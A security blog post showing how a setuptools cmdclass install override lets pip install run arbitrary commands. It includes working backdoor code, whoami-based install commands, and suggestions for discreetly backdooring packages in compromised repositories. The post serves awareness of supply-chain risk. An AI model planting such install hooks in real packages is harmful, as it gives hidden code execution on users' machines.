pip install IS code execution

TL;DR:

If you run pip install stegart on your computer, that means you trust ME enough to execute arbitrary code on your computer. If you're in the camp that uses sudo instead of the --user flag, you trust me enough to run code on your laptop as root! Don't worry, I'm trustworthy. Probably.

If you want to build exploits using this, check my work on Github.

Motivation

On July 12th, 2018, malicious versions of eslint-scope and eslint-config-eslint were published to the npm registry that stole credentials from the user's .npmrc file on installation. This was quickly fixed, but it raised the question in my mind. Could this be done with Python? Surely such a STUPID packaging flaw COULDN'T be done with the great PYTHON. Sure enough, it can be.

I'm not claiming this as anything new, as it's been talked about as early as 2014 on the front page Googling "pip install code execution", but it was unknown enough by many of my Pythonista friends that I wanted to better document it.

distutils cmdclass

The real magic happens in distutils (the package responsible for packaging Python packages) in the cmdclass argument. cmdclass allows packaging steps to be overwritten by package developer provided classes, allowing the developer to execute custom code on steps like the commonly used install step.

setuptools cmdclass

setuptools serves as a better version of distutils, building on top of it to provided a more fully fledged and friendly user interface for package development. Most of the work done in my pipinpeace repository is based of the code in the setuptools install class, inheriting from it and overriding the methods needed for the backdoor.

command execution backdoor example

setup.py

"""
Code execution with a pip install
"""
from setuptools import setup
from command import install

setup(
    name='pipinpeace-command',
    packages=['command'],
    # Magic Install override
    cmdclass={
        'install': install,
    },
)

command/__init__.py

from os import system
from setuptools.command.install import install as base

# Install class overload
class install(base):
    """
    Backdoored install function that allows command execution
    """

    user_options = base.user_options + [
        ('command=', None, "Command to execute")
    ]

    def initialize_options(self):
        base.initialize_options(self)
        self.command = None

    def run(self):
        if self.command:
            system(self.command)
        base.run(self)

The magic of the command execution happens by redefining the run method in the malicious install class. With this install class referenced in the cmdclass argument to setup.

In this example, user_options are used to to allow the a malicious user to (perhaps with sudo access to pip like in HackTheBox's Canape) run arbitrary commands by passing them as command line options. This can ultimately be used one of two ways.

python3 setup.py install --command=whoami

or

pip3 install . --install-option='--command=whoami > /tmp/whoami'

Or if you trust me enough to use in your exploits

pip3 install pipinpeace-command --install-option='--command=whoami > /tmp/backdoor'

Closing Thoughts

This technique may be useful for discretely backdooring a piece of software, maybe after compromising a developer account on a test or gaining access to a internal Python repository like an Artifactory instance. It does certainly have it's limitations though. In the general case, it may be difficult to predict what packages need to be backdoored for the test to continue.

My attempt to automate this process can be found here. It automatically takes Python source and adds a backdoor that will run whoami > /tmp/backdoor upon install. I've tested the script with my toy package and with Jinja2, both with successful results. Ultimately this could be included in a malicious MITM package repository, but more works needs to be done to see if that's feasible.

As always, PR's and feedback welcome.